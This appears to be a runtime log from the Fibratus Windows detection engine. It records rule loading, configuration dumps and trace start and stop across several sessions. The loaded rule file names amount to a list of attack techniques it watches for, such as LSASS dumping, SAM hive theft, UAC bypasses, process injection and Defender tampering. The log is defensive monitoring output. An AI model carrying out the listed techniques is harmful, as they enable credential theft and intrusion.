+time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:44:00+01:00 level=info msg=bootstrapping with pid 12880. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:44:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false enable-registry=>true stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true min-buffers=>16 enable-handle=>false buffer-size=>512 enable-thread=>true enable-mem=>false enable-net=>true enable-audit-api=>true enable-fileio=>true enable-vamap=>true flush-interval=>1s enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false enabled=>false trace-log=>false template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true index-name=>fibratus flush-period=>1s timeout=>5s healthcheck-interval=>10s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 vhost=>/ passive=>false exchange=>fibratus delivery-mode=>transient durable=>false enabled=>false] http=>[ endpoints=>[] enable-gzip=>false serializer=>json method=>POST enabled=>false timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-files=>[] skip-files=>false fastscan=>true scan-timeout=>10s enabled=>false skip-allocs=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:44:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:44:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:44:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:44:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:44:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:31:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:31:21+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:31:21+01:00 level=info msg=bootstrapping with pid 20316. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:31:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true buffer-size=>512 min-buffers=>16 enable-registry=>true enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-threadpool=>false enable-image=>true stack-enrichment=>true enable-thread=>true enable-fileio=>true flush-interval=>1s enable-handle=>false enable-net=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text level=>info log-stdout=>true max-backups=>15] + output ......................... [ elasticsearch=>[ enabled=>false servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus gzip-compression=>false timeout=>5s healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s sniff=>false template-name=>fibratus] http=>[ timeout=>5s enabled=>false method=>POST enable-gzip=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false] amqp=>[ passive=>false vhost=>/ durable=>false exchange=>fibratus url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus exchange-type=>topic timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-registry=>false excluded-files=>[] skip-mmaps=>false skip-allocs=>false fastscan=>true enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:31:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:31:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:35:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:35:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:35:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:35:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 